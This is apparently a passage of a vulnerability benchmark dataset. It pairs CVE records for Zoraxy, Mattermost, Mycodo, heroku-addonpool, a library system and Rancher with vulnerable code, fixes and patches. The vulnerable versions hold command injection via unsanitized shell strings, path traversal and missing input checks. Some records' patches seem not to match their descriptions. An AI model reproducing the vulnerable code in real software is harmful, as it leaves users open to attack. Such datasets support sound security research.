utils.PostPara(r, \"port\")\n\tif err != nil {\n\t\tportString = \"22\"\n\t}\n\n\tusername, err := utils.PostPara(r, \"username\")\n\tif err != nil {\n\t\tusername = \"\"\n\t}\n\n\tport, err := strconv.Atoi(portString)\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, \"invalid port number given\")\n\t\treturn\n\t}\n\n\tif !*allowSshLoopback {\n\t\t//Not allow loopback connections\n\t\tif sshprox.IsLoopbackIPOrDomain(ipaddr) {\n\t\t\t//Request target is loopback\n\t\t\tutils.SendErrorResponse(w, \"loopback web ssh connection is not enabled on this host\")\n\t\t\treturn\n\t\t}\n\t}\n\n\t//Check if the target is a valid ssh endpoint\n\tif !sshprox.IsSSHConnectable(ipaddr, port) {\n\t\tutils.SendErrorResponse(w, ipaddr+\":\"+strconv.Itoa(port)+\" is not a valid SSH server\")\n\t\treturn\n\t}\n\n\t//Create a new proxy instance\n\tinstance, err := webSshManager.NewSSHProxy(\"./tmp/gotty\")\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, strings.ReplaceAll(err.Error(), \"\\\\\", \"/\"))\n\t\treturn\n\t}\n\n\t//Create an ssh process to the target address\n\terr = instance.CreateNewConnection(webSshManager.GetNextPort(), username, ipaddr, port)\n\tif err != nil {\n\t\tutils.SendErrorResponse(w, err.Error())\n\t\treturn\n\t}\n\n\t//Return the instance uuid\n\tjs, _ := json.Marshal(instance.UUID)\n\tutils.SendJSONResponse(w, string(js))\n}"}], "vul_patch": "--- a/src/mod/sshprox/sshprox.go\n+++ b/src/mod/sshprox/sshprox.go\n@@ -4,6 +4,17 @@\n \tif username != \"\" {\n \t\tconnAddr = username + \"@\" + remoteIpAddr\n \t}\n+\n+\t//Trim the space in the username and remote address\n+\tusername = strings.TrimSpace(username)\n+\tremoteIpAddr = strings.TrimSpace(remoteIpAddr)\n+\n+\t//Validate the username and remote address\n+\terr := ValidateUsernameAndRemoteAddr(username, remoteIpAddr)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\n \tconfigPath := filepath.Join(filepath.Dir(i.ExecPath), \".gotty\")\n \ttitle := username + \"@\" + remoteIpAddr\n \tif remotePort != 22 {\n\n--- /dev/null\n+++ b/src/mod/sshprox/sshprox.go\n@@ -0,0 +1,21 @@\n+func ValidateUsernameAndRemoteAddr(username string, remoteIpAddr string) error {\n+\t// Validate and sanitize the username to prevent ssh injection\n+\tvalidUsername := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n+\tif !validUsername.MatchString(username) {\n+\t\treturn errors.New(\"invalid username, only alphanumeric characters, dots, underscores and dashes are allowed\")\n+\t}\n+\n+\t//Check if the remoteIpAddr is a valid ipv4 or ipv6 address\n+\tif net.ParseIP(remoteIpAddr) != nil {\n+\t\t//A valid IP address do not need further validation\n+\t\treturn nil\n+\t}\n+\n+\t// Validate and sanitize the remote domain to prevent injection\n+\tvalidRemoteAddr := regexp.MustCompile(`^[a-zA-Z0-9._-]+$`)\n+\tif !validRemoteAddr.MatchString(remoteIpAddr) {\n+\t\treturn errors.New(\"invalid remote address, only alphanumeric characters, dots, underscores and dashes are allowed\")\n+\t}\n+\n+\treturn nil\n+}\n\n--- /dev/null\n+++ b/src/mod/sshprox/sshprox.go\n@@ -0,0 +1,57 @@\n+func HandleCreateProxySession(w http.ResponseWriter, r *http.Request) {\n+\t//Get what ip address and port to connect to\n+\tipaddr, err := utils.PostPara(r, \"ipaddr\")\n+\tif err != nil {\n+\t\thttp.Error(w, \"Invalid Usage\", http.StatusInternalServerError)\n+\t\treturn\n+\t}\n+\n+\tportString, err := utils.PostPara(r, \"port\")\n+\tif err != nil {\n+\t\tportString = \"22\"\n+\t}\n+\n+\tusername, err := utils.PostPara(r, \"username\")\n+\tif err != nil {\n+\t\tusername = \"\"\n+\t}\n+\n+\tport, err := strconv.Atoi(portString)\n+\tif err != nil {\n+\t\tutils.SendErrorResponse(w, \"invalid port number given\")\n+\t\treturn\n+\t}\n+\n+\tif !*allowSshLoopback {\n+\t\t//Not allow loopback connections\n+\t\tif sshprox.IsLoopbackIPOrDomain(ipaddr) {\n+\t\t\t//Request target is loopback\n+\t\t\tutils.SendErrorResponse(w, \"loopback web ssh connection is not enabled on this host\")\n+\t\t\treturn\n+\t\t}\n+\t}\n+\n+\t//Check if the target is a valid ssh endpoint\n+\tif !sshprox.IsSSHConnectable(ipaddr, port) {\n+\t\tutils.SendErrorResponse(w, ipaddr+\":\"+strconv.Itoa(port)+\" is not a valid SSH server\")\n+\t\treturn\n+\t}\n+\n+\t//Create a new proxy instance\n+\tinstance, err := webSshManager.NewSSHProxy(\"./tmp/gotty\")\n+\tif err != nil {\n+\t\tutils.SendErrorResponse(w, strings.ReplaceAll(err.Error(), \"\\\\\", \"/\"))\n+\t\treturn\n+\t}\n+\n+\t//Create an ssh process to the target address\n+\terr = instance.CreateNewConnection(webSshManager.GetNextPort(), username, ipaddr, port)\n+\tif err != nil {\n+\t\tutils.SendErrorResponse(w, err.Error())\n+\t\treturn\n+\t}\n+\n+\t//Return the instance uuid\n+\tjs, _ := json.Marshal(instance.UUID)\n+\tutils.SendJSONResponse(w, string(js))\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-52010:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/zoraxy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd ./src/mod/sshprox && go test  -timeout 30s -run ^TestCreateNewConnection$ imuslab.com/zoraxy/mod/sshprox\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-4106", "cve_description": "Mattermost fails to check if the requesting user is a guest before performing different actions to public playbooks, resulting a guest being able to\u00a0view, join, edit, export and archive public playbooks.\n\n", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/mattermost/mattermost", "patch_url": ["https://github.com/mattermost/mattermost/commit/93511636ba2cbb38efd000af019fb89cd993b2f3", "https://github.com/mattermost/mattermost/commit/16af122696be49f1756a390446e6825976d438a8", "https://github.com/mattermost/mattermost/commit/9560a4a5596d400495feaa5911ef0116b0267e49"], "programing_language": "Go", "vul_func": [{"id": "vul_go_123_1", "commit": "9c1ca9e", "file_path": "app/platform/service.go", "start_line": 372, "end_line": 374, "snippet": "func (ps *PlatformService) SetTelemetryId(id string) {\n\tps.telemetryId = id\n}"}], "fix_func": [{"id": "fix_go_123_1", "commit": "9351163", "file_path": "app/platform/service.go", "start_line": 372, "end_line": 381, "snippet": "func (ps *PlatformService) SetTelemetryId(id string) {\n\tps.telemetryId = id\n\n\tps.PostTelemetryIdHook()\n}\n\n// PostTelemetryIdHook triggers necessary events to propagate telemtery ID\nfunc (ps *PlatformService) PostTelemetryIdHook() {\n\tps.regenerateClientConfig()\n}"}], "vul_patch": "--- a/app/platform/service.go\n+++ b/app/platform/service.go\n@@ -1,3 +1,10 @@\n func (ps *PlatformService) SetTelemetryId(id string) {\n \tps.telemetryId = id\n+\n+\tps.PostTelemetryIdHook()\n }\n+\n+// PostTelemetryIdHook triggers necessary events to propagate telemtery ID\n+func (ps *PlatformService) PostTelemetryIdHook() {\n+\tps.regenerateClientConfig()\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41185", "cve_description": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/kizniche/Mycodo", "patch_url": ["https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"], "programing_language": "Python", "vul_func": [{"id": "vul_py_390_1", "commit": "69acf2646f5e50435e086bd544a9d264adc00edf", "file_path": "mycodo/mycodo_flask/routes_general.py", "start_line": 115, "end_line": 122, "snippet": "def send_note_attachment(filename):\n    \"\"\"Return a file from the note attachment directory\"\"\"\n    file_path = os.path.join(PATH_NOTE_ATTACHMENTS, filename)\n    if file_path is not None:\n        try:\n            return send_file(file_path, as_attachment=True)\n        except Exception:\n            logger.exception(\"Send note attachment\")"}, {"id": "vul_py_390_2", "commit": "69acf2646f5e50435e086bd544a9d264adc00edf", "file_path": "mycodo/mycodo_flask/routes_general.py", "start_line": 127, "end_line": 154, "snippet": "def camera_img_return_path(camera_unique_id, img_type, filename):\n    \"\"\"Return an image from stills or time-lapses\"\"\"\n    camera = Camera.query.filter(Camera.unique_id == camera_unique_id).first()\n    camera_path = assure_path_exists(\n        os.path.join(PATH_CAMERAS, '{uid}'.format(uid=camera.unique_id)))\n    if img_type == 'still':\n        if camera.path_still:\n            path = camera.path_still\n        else:\n            path = os.path.join(camera_path, img_type)\n    elif img_type == 'timelapse':\n        if camera.path_timelapse:\n            path = camera.path_timelapse\n        else:\n            path = os.path.join(camera_path, img_type)\n    else:\n        return \"Unknown Image Type\"\n\n    if os.path.isdir(path):\n        files = (files for files in os.listdir(path)\n                 if os.path.isfile(os.path.join(path, files)))\n    else:\n        files = []\n    if filename in files:\n        path_file = os.path.join(path, filename)\n        return send_file(path_file, mimetype='image/jpeg')\n\n    return \"Image not found\""}], "fix_func": [{"id": "fix_py_390_1", "commit": "23ac5dd422029c2b6ae1701a3599b6d41b66a6a9", "file_path": "mycodo/mycodo_flask/routes_general.py", "start_line": 115, "end_line": 123, "snippet": "def send_note_attachment(filename):\n    \"\"\"Return a file from the note attachment directory\"\"\"\n    file_path = os.path.join(PATH_NOTE_ATTACHMENTS, filename)\n    if file_path is not None:\n        try:\n            if os.path.abspath(file_path).startswith(PATH_NOTE_ATTACHMENTS):\n                return send_file(file_path, as_attachment=True)\n        except Exception:\n            logger.exception(\"Send note attachment\")"}, {"id": "fix_py_390_2", "commit": "23ac5dd422029c2b6ae1701a3599b6d41b66a6a9", "file_path": "mycodo/mycodo_flask/routes_general.py", "start_line": 128, "end_line": 156, "snippet": "def camera_img_return_path(camera_unique_id, img_type, filename):\n    \"\"\"Return an image from stills or time-lapses\"\"\"\n    camera = Camera.query.filter(Camera.unique_id == camera_unique_id).first()\n    camera_path = assure_path_exists(\n        os.path.join(PATH_CAMERAS, '{uid}'.format(uid=camera.unique_id)))\n    if img_type == 'still':\n        if camera.path_still:\n            path = camera.path_still\n        else:\n            path = os.path.join(camera_path, img_type)\n    elif img_type == 'timelapse':\n        if camera.path_timelapse:\n            path = camera.path_timelapse\n        else:\n            path = os.path.join(camera_path, img_type)\n    else:\n        return \"Unknown Image Type\"\n\n    if os.path.isdir(path):\n        files = (files for files in os.listdir(path)\n                 if os.path.isfile(os.path.join(path, files)))\n    else:\n        files = []\n    if filename in files:\n        path_file = os.path.join(path, filename)\n        if os.path.abspath(path_file).startswith(path):\n            return send_file(path_file, mimetype='image/jpeg')\n\n    return \"Image not found\""}], "vul_patch": "--- a/mycodo/mycodo_flask/routes_general.py\n+++ b/mycodo/mycodo_flask/routes_general.py\n@@ -3,6 +3,7 @@\n     file_path = os.path.join(PATH_NOTE_ATTACHMENTS, filename)\n     if file_path is not None:\n         try:\n-            return send_file(file_path, as_attachment=True)\n+            if os.path.abspath(file_path).startswith(PATH_NOTE_ATTACHMENTS):\n+                return send_file(file_path, as_attachment=True)\n         except Exception:\n             logger.exception(\"Send note attachment\")\n\n--- a/mycodo/mycodo_flask/routes_general.py\n+++ b/mycodo/mycodo_flask/routes_general.py\n@@ -23,6 +23,7 @@\n         files = []\n     if filename in files:\n         path_file = os.path.join(path, filename)\n-        return send_file(path_file, mimetype='image/jpeg')\n+        if os.path.abspath(path_file).startswith(path):\n+            return send_file(path_file, mimetype='image/jpeg')\n \n     return \"Image not found\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7634", "cve_description": "heroku-addonpool through 0.1.15 is vulnerable to Command Injection.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/nodef/heroku-addonpool", "patch_url": ["https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_296_1", "commit": "7bd83e1650d8d6e6b8b436c5367c8cd27c4fcb3c", "file_path": "index.js", "start_line": 5, "end_line": 117, "snippet": "module.exports = function HerokuAddonPool(id, app, opt) {\n  const unused = [];\n  const supply = new Map();\n  const removed = new Map();\n  const pending = new Map();\n  opt = opt||{};\n  opt.config = opt.config||/\\S*/g;\n  opt.log = opt.log||false;\n\n  const log = function(msg) {\n    if(opt.log) console.log(`${id}.${msg}`);\n  };\n\n  const supplySetOne = function(cfg) {\n    return new Promise((fres, frej) => {\n      const w = cfg.split('=');\n      if(w[0].search(opt.config)<0) return;\n      const key = w[0].substring(0, w[0].length-4);\n      const val = {'value': w[1].substring(1, w[1].length-1)};\n      cp.exec(`~/heroku addons:info ${key} --app ${app}`, (err, stdout) => {\n        if(err) return frej(err);\n        for(var r of stdout.toString().match(/[^\\r\\n]+/g)) {\n          var k = _camel(r.startsWith('=')? 'name' : r.split(':')[0]);\n          val[k] = r.substring(r.match(/[\\S\\s]+(=|:)\\s+/g)[0].length);\n        }\n        supply.set(key, val);\n        fres(key);\n      });\n    });\n  };\n\n  const supplySet = function() {\n    return new Promise((fres, frej) => {\n      cp.exec(`~/heroku config -s --app ${app}`, (err, stdout) => {\n        if(err) return frej(err);\n        var pro = Promise.resolve();\n        for(var cfg of stdout.toString().match(/[^\\r\\n]+/g)||[])\n          ((val) => pro = pro.then(() => supplySetOne(val)))(cfg);\n        pro.then(() => fres(supply));\n      });\n    });\n  };\n\n  const setup = function() {\n    log(`setup()`);\n    return supplySet().then((ans) => {\n      for(var key of supply.keys()) {\n        log(`setup:addUnused(${key})`);\n        unused.push(key);\n      }\n      return ans;\n    });\n  };\n\n  const remove = function(ref) {\n    return new Promise((fres) => {\n      if(unused.length===0) {\n        log(`remove:addPending(${ref})`);\n        return pending.set(ref, fres);\n      }\n      const key = unused.shift();\n      removed.set(ref, key);\n      log(`remove:getUnused(${ref}, ${key})`);\n      fres(supply.get(key));\n    });\n  };\n\n  const supplyReset = function(key) {\n    log(`supplyReset(${key})`);\n    const plan = supply.get(key).plan;\n    return new Promise((fres, frej) => cp.exec(\n      `~/heroku addons:destroy ${key} -a ${app} --confirm ${app} >/dev/null && `+\n      `~/heroku addons:create ${plan} --as ${key} -a ${app} >/dev/null && `+\n      `~/heroku config -s -a ${app} | grep ^${key}`,\n      (err, stdout) => {\n        const r = stdout.toString();\n        fres(supply.get(key).value = r.substring(r.indexOf('=')+2, r.length-2));\n      }\n    ));\n  };\n\n  const pendingRemove = function() {\n    if(!unused.length || !pending.size) return;\n    const ref = pending.keys().next().value;\n    const fres = pending.get(ref);\n    pending.delete(ref);\n    const key = unused.shift();\n    removed.set(ref, key);\n    log(`pendingRemove:getUnused(${ref}, ${key})`);\n    fres(supply.get(key));\n    return ref;\n  };\n\n  const add = function(ref) {\n    if(pending.has(ref)) {\n      log(`add:removePending(${ref})`);\n      pending.delete(ref);\n    }\n    if(removed.has(ref)) {\n      const key = removed.get(ref);\n      removed.delete(ref);\n      log(`add:addUnused(${ref}, ${key})`);\n      return supplyReset(key).then(() => {\n        unused.push(key);\n        pendingRemove();\n        return ref;\n      });\n    }\n    return Promise.resolve(ref);\n  };\n\n  return {add, remove, setup};\n};"}], "fix_func": [{"id": "fix_js_296_1", "commit": "b1a5b316473ac92d783f3d54ee048d54082da38d", "file_path": "index.js", "start_line": 9, "end_line": 122, "snippet": "module.exports = function HerokuAddonPool(id, app, opt) {\n  const unused = [];\n  const supply = new Map();\n  const removed = new Map();\n  const pending = new Map();\n  opt = opt||{};\n  opt.config = opt.config||/\\S*/g;\n  opt.log = opt.log||false;\n  if(!RAPP.test(app)) throw new Error('Bad app name');\n\n  const log = function(msg) {\n    if(opt.log) console.log(`${id}.${msg}`);\n  };\n\n  const supplySetOne = function(cfg) {\n    return new Promise((fres, frej) => {\n      const w = cfg.split('=');\n      if(w[0].search(opt.config)<0) return;\n      const key = w[0].substring(0, w[0].length-4);\n      const val = {'value': w[1].substring(1, w[1].length-1)};\n      cp.exec(`~/heroku addons:info ${key} --app ${app}`, (err, stdout) => {\n        if(err) return frej(err);\n        for(var r of stdout.toString().match(/[^\\r\\n]+/g)) {\n          var k = _camel(r.startsWith('=')? 'name' : r.split(':')[0]);\n          val[k] = r.substring(r.match(/[\\S\\s]+(=|:)\\s+/g)[0].length);\n        }\n        supply.set(key, val);\n        fres(key);\n      });\n    });\n  };\n\n  const supplySet = function() {\n    return new Promise((fres, frej) => {\n      cp.exec(`~/heroku config -s --app ${app}`, (err, stdout) => {\n        if(err) return frej(err);\n        var pro = Promise.resolve();\n        for(var cfg of stdout.toString().match(/[^\\r\\n]+/g)||[])\n          ((val) => pro = pro.then(() => supplySetOne(val)))(cfg);\n        pro.then(() => fres(supply));\n      });\n    });\n  };\n\n  const setup = function() {\n    log(`setup()`);\n    return supplySet().then((ans) => {\n      for(var key of supply.keys()) {\n        log(`setup:addUnused(${key})`);\n        unused.push(key);\n      }\n      return ans;\n    });\n  };\n\n  const remove = function(ref) {\n    return new Promise((fres) => {\n      if(unused.length===0) {\n        log(`remove:addPending(${ref})`);\n        return pending.set(ref, fres);\n      }\n      const key = unused.shift();\n      removed.set(ref, key);\n      log(`remove:getUnused(${ref}, ${key})`);\n      fres(supply.get(key));\n    });\n  };\n\n  const supplyReset = function(key) {\n    log(`supplyReset(${key})`);\n    const plan = supply.get(key).plan;\n    return new Promise((fres, frej) => cp.exec(\n      `~/heroku addons:destroy ${key} -a ${app} --confirm ${app} >/dev/null && `+\n      `~/heroku addons:create ${plan} --as ${key} -a ${app} >/dev/null && `+\n      `~/heroku config -s -a ${app} | grep ^${key}`,\n      (err, stdout) => {\n        const r = stdout.toString();\n        fres(supply.get(key).value = r.substring(r.indexOf('=')+2, r.length-2));\n      }\n    ));\n  };\n\n  const pendingRemove = function() {\n    if(!unused.length || !pending.size) return;\n    const ref = pending.keys().next().value;\n    const fres = pending.get(ref);\n    pending.delete(ref);\n    const key = unused.shift();\n    removed.set(ref, key);\n    log(`pendingRemove:getUnused(${ref}, ${key})`);\n    fres(supply.get(key));\n    return ref;\n  };\n\n  const add = function(ref) {\n    if(pending.has(ref)) {\n      log(`add:removePending(${ref})`);\n      pending.delete(ref);\n    }\n    if(removed.has(ref)) {\n      const key = removed.get(ref);\n      removed.delete(ref);\n      log(`add:addUnused(${ref}, ${key})`);\n      return supplyReset(key).then(() => {\n        unused.push(key);\n        pendingRemove();\n        return ref;\n      });\n    }\n    return Promise.resolve(ref);\n  };\n\n  return {add, remove, setup};\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -6,6 +6,7 @@\n   opt = opt||{};\n   opt.config = opt.config||/\\S*/g;\n   opt.log = opt.log||false;\n+  if(!RAPP.test(app)) throw new Error('Bad app name');\n \n   const log = function(msg) {\n     if(opt.log) console.log(`${id}.${msg}`);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-8297", "cve_description": "A vulnerability was found in kitsada8621 Digital Library Management System 1.0. It has been classified as problematic. Affected is the function JwtRefreshAuth of the file middleware/jwt_refresh_token_middleware.go. The manipulation of the argument Authorization leads to improper output neutralization for logs. It is possible to launch the attack remotely. The name of the patch is 81b3336b4c9240f0bf50c13cb8375cf860d945f1. It is recommended to apply a patch to fix this issue.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/kitsada8621/Digital-Library-Management-System", "patch_url": ["https://github.com/kitsada8621/Digital-Library-Management-System/commit/81b3336b4c9240f0bf50c13cb8375cf860d945f1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_233_1", "commit": "f495f3e", "file_path": "routes/borrow_route.go", "start_line": 10, "end_line": 27, "snippet": "func InitBorrowRoute(r *gin.RouterGroup) {\n\n\tborrowController := controllers.NewBorrowController()\n\tborrowRoute := r.Group(\"borrow\")\n\tborrowRoute.Use(middleware.JwtAuth())\n\n\tborrowRoute.POST(\"/create\", middleware.Role([]string{\"user\"}), borrowController.BorrowBook)\n\tborrowRoute.PUT(\"/update/:id\", middleware.Role([]string{\"user\"}), borrowController.UpdateBorrow)\n\tborrowRoute.PUT(\"/cancel/:id\", middleware.Role([]string{\"user\"}), borrowController.CancelBorrowBook)\n\tborrowRoute.GET(\"/history\", middleware.Role([]string{\"user\"}), borrowController.BorrowingHistory)\n\n\tborrowRoute.Use(middleware.Role([]string{\"admin\"}))\n\tborrowRoute.GET(\"/all\", borrowController.GetBorrows)\n\tborrowRoute.GET(\"/:id\", borrowController.BorrowDetails)\n\tborrowRoute.DELETE(\"/delete/:id\", borrowController.DeleteBorrow)\n\tborrowRoute.PUT(\"/approve/:id\", borrowController.ApproveBookBorrowing)\n\n}"}, {"id": "vul_go_233_2", "commit": "f495f3e", "file_path": "services/borrow_service.go", "start_line": 202, "end_line": 232, "snippet": "func (s *BorrowServiceImpl) UpdateBorrow(data dtos.BorrowDto, borrow models.Borrow) (int, error) {\n\n\tif borrow.BorrowStatus != 1 {\n\t\treturn http.StatusOK, fmt.Errorf(\"Unable to edit\")\n\t}\n\n\tbook, err := s.bookRepository.FindOne(bson.M{\"_id\": borrow.BookId})\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, err\n\t}\n\n\tif book.BookStatus != 0 {\n\t\treturn http.StatusOK, fmt.Errorf(\"This book has been borrowed\")\n\t}\n\n\treturnDate, err := utils.StringToDate(data.ReturnDate)\n\tif err != nil {\n\t\treturn http.StatusBadRequest, err\n\t}\n\n\tif _, err := s.borrowRepository.Update(bson.M{\n\t\t\"$set\": bson.M{\n\t\t\t\"bookId\":     book.ID,\n\t\t\t\"returnDate\": returnDate,\n\t\t},\n\t}, bson.M{\"_id\": borrow.ID}); err != nil {\n\t\treturn http.StatusInternalServerError, err\n\t}\n\n\treturn http.StatusOK, nil\n}"}], "fix_func": [{"id": "fix_go_233_1", "commit": "81b3336b4c9240f0bf50c13cb8375cf860d945f1", "file_path": "routes/borrow_route.go", "start_line": 10, "end_line": 27, "snippet": "func InitBorrowRoute(r *gin.RouterGroup) {\n\n\tborrowController := controllers.NewBorrowController()\n\tborrowRoute := r.Group(\"borrow\")\n\tborrowRoute.Use(middleware.JwtAuth())\n\n\tborrowRoute.POST(\"/create\", middleware.Role([]string{\"user\"}), borrowController.BorrowBook)\n\tborrowRoute.PUT(\"/update/:id\", middleware.Role([]string{\"user\"}), borrowController.UpdateBorrow)\n\tborrowRoute.PUT(\"/cancel/:id\", middleware.Role([]string{\"user\"}), borrowController.CancelBorrowBook)\n\tborrowRoute.GET(\"/history\", middleware.Role([]string{\"user\"}), borrowController.BorrowingHistory)\n\tborrowRoute.GET(\"/:id\", middleware.Role([]string{\"user\", \"admin\"}), borrowController.BorrowDetails)\n\n\tborrowRoute.Use(middleware.Role([]string{\"admin\"}))\n\tborrowRoute.GET(\"/all\", borrowController.GetBorrows)\n\tborrowRoute.DELETE(\"/delete/:id\", borrowController.DeleteBorrow)\n\tborrowRoute.PUT(\"/approve/:id\", borrowController.ApproveBookBorrowing)\n\n}"}, {"id": "fix_go_233_2", "commit": "81b3336b4c9240f0bf50c13cb8375cf860d945f1", "file_path": "services/borrow_service.go", "start_line": 202, "end_line": 237, "snippet": "func (s *BorrowServiceImpl) UpdateBorrow(data dtos.BorrowDto, borrow models.Borrow) (int, error) {\n\n\tif borrow.BorrowStatus != 1 {\n\t\treturn http.StatusOK, fmt.Errorf(\"Unable to edit\")\n\t}\n\n\tbookId, err := primitive.ObjectIDFromHex(data.BookId)\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, err\n\t}\n\n\tbook, err := s.bookRepository.FindOne(bson.M{\"_id\": bookId})\n\tif err != nil {\n\t\treturn http.StatusInternalServerError, err\n\t}\n\n\tif book.BookStatus != 0 {\n\t\treturn http.StatusOK, fmt.Errorf(\"This book has been borrowed\")\n\t}\n\n\treturnDate, err := utils.StringToDate(data.ReturnDate)\n\tif err != nil {\n\t\treturn http.StatusBadRequest, err\n\t}\n\n\tif _, err := s.borrowRepository.Update(bson.M{\n\t\t\"$set\": bson.M{\n\t\t\t\"bookId\":     book.ID,\n\t\t\t\"returnDate\": returnDate,\n\t\t},\n\t}, bson.M{\"_id\": borrow.ID}); err != nil {\n\t\treturn http.StatusInternalServerError, err\n\t}\n\n\treturn http.StatusOK, nil\n}"}], "vul_patch": "--- a/routes/borrow_route.go\n+++ b/routes/borrow_route.go\n@@ -8,10 +8,10 @@\n \tborrowRoute.PUT(\"/update/:id\", middleware.Role([]string{\"user\"}), borrowController.UpdateBorrow)\n \tborrowRoute.PUT(\"/cancel/:id\", middleware.Role([]string{\"user\"}), borrowController.CancelBorrowBook)\n \tborrowRoute.GET(\"/history\", middleware.Role([]string{\"user\"}), borrowController.BorrowingHistory)\n+\tborrowRoute.GET(\"/:id\", middleware.Role([]string{\"user\", \"admin\"}), borrowController.BorrowDetails)\n \n \tborrowRoute.Use(middleware.Role([]string{\"admin\"}))\n \tborrowRoute.GET(\"/all\", borrowController.GetBorrows)\n-\tborrowRoute.GET(\"/:id\", borrowController.BorrowDetails)\n \tborrowRoute.DELETE(\"/delete/:id\", borrowController.DeleteBorrow)\n \tborrowRoute.PUT(\"/approve/:id\", borrowController.ApproveBookBorrowing)\n \n\n--- a/services/borrow_service.go\n+++ b/services/borrow_service.go\n@@ -4,7 +4,12 @@\n \t\treturn http.StatusOK, fmt.Errorf(\"Unable to edit\")\n \t}\n \n-\tbook, err := s.bookRepository.FindOne(bson.M{\"_id\": borrow.BookId})\n+\tbookId, err := primitive.ObjectIDFromHex(data.BookId)\n+\tif err != nil {\n+\t\treturn http.StatusInternalServerError, err\n+\t}\n+\n+\tbook, err := s.bookRepository.FindOne(bson.M{\"_id\": bookId})\n \tif err != nil {\n \t\treturn http.StatusInternalServerError, err\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-21953", "cve_description": "A Missing Authorization vulnerability in of SUSE Rancher allows authenticated user to create an unauthorized shell pod and kubectl access in the local cluster This issue affects: SUSE Rancher Rancher versions prior to 2.5.17; Rancher versions prior to 2.6.10; Rancher versions prior to 2.7.1.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/rancher/rancher", "patch_url": ["https://github.com/rancher/rancher/commit/fd40f5ffabadb87d60e8200971fe16d778b3d699", "https://github.com/rancher/rancher/commit/3d1a120a18279b1e943f8e0b1143240d2d3e7f7f", "https://github.com/rancher/rancher/commit/c44801f50f8a77383904ef0da4066ffcc8daf6ae"], "programing_language": "Go", "vul_func": [{"id": "vul_go_143_1", "commit": "1f516d1", "file_path": "pkg/api/steve/proxy/proxy.go", "start_line": 47, "end_line": 80, "snippet": "func NewProxyMiddleware(sar v1.AuthorizationV1Interface,\n\tdialerFactory ClusterDialerFactory,\n\tclusters v3.ClusterCache,\n\tlocalSupport bool,\n\tlocalCluster http.Handler) (func(http.Handler) http.Handler, error) {\n\tcfg := authorizerfactory.DelegatingAuthorizerConfig{\n\t\tSubjectAccessReviewClient: sar,\n\t\tAllowCacheTTL:             time.Second * time.Duration(settings.AuthorizationCacheTTLSeconds.GetInt()),\n\t\tDenyCacheTTL:              time.Second * time.Duration(settings.AuthorizationDenyCacheTTLSeconds.GetInt()),\n\t\tWebhookRetryBackoff:       &auth.WebhookBackoff,\n\t}\n\n\tauthorizer, err := cfg.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tproxyHandler := NewProxyHandler(authorizer, dialerFactory, clusters)\n\n\tmux := gmux.NewRouter()\n\tmux.UseEncodedPath()\n\tmux.PathPrefix(\"/api\").HandlerFunc(proxyHandler.authLocalCluster(mux))\n\tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"link\", \"shell\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, proxyHandler))\n\tmux.Path(\"/v1/management.cattle.io.clusters/{clusterID}\").Queries(\"action\", \"apply\").HandlerFunc(routeToShellProxy(\"action\", \"apply\", localSupport, localCluster, mux, proxyHandler))\n\tmux.Path(\"/v3/clusters/{clusterID}\").Queries(\"shell\", \"true\").HandlerFunc(routeToShellProxy(\"link\", \"shell\", localSupport, localCluster, mux, 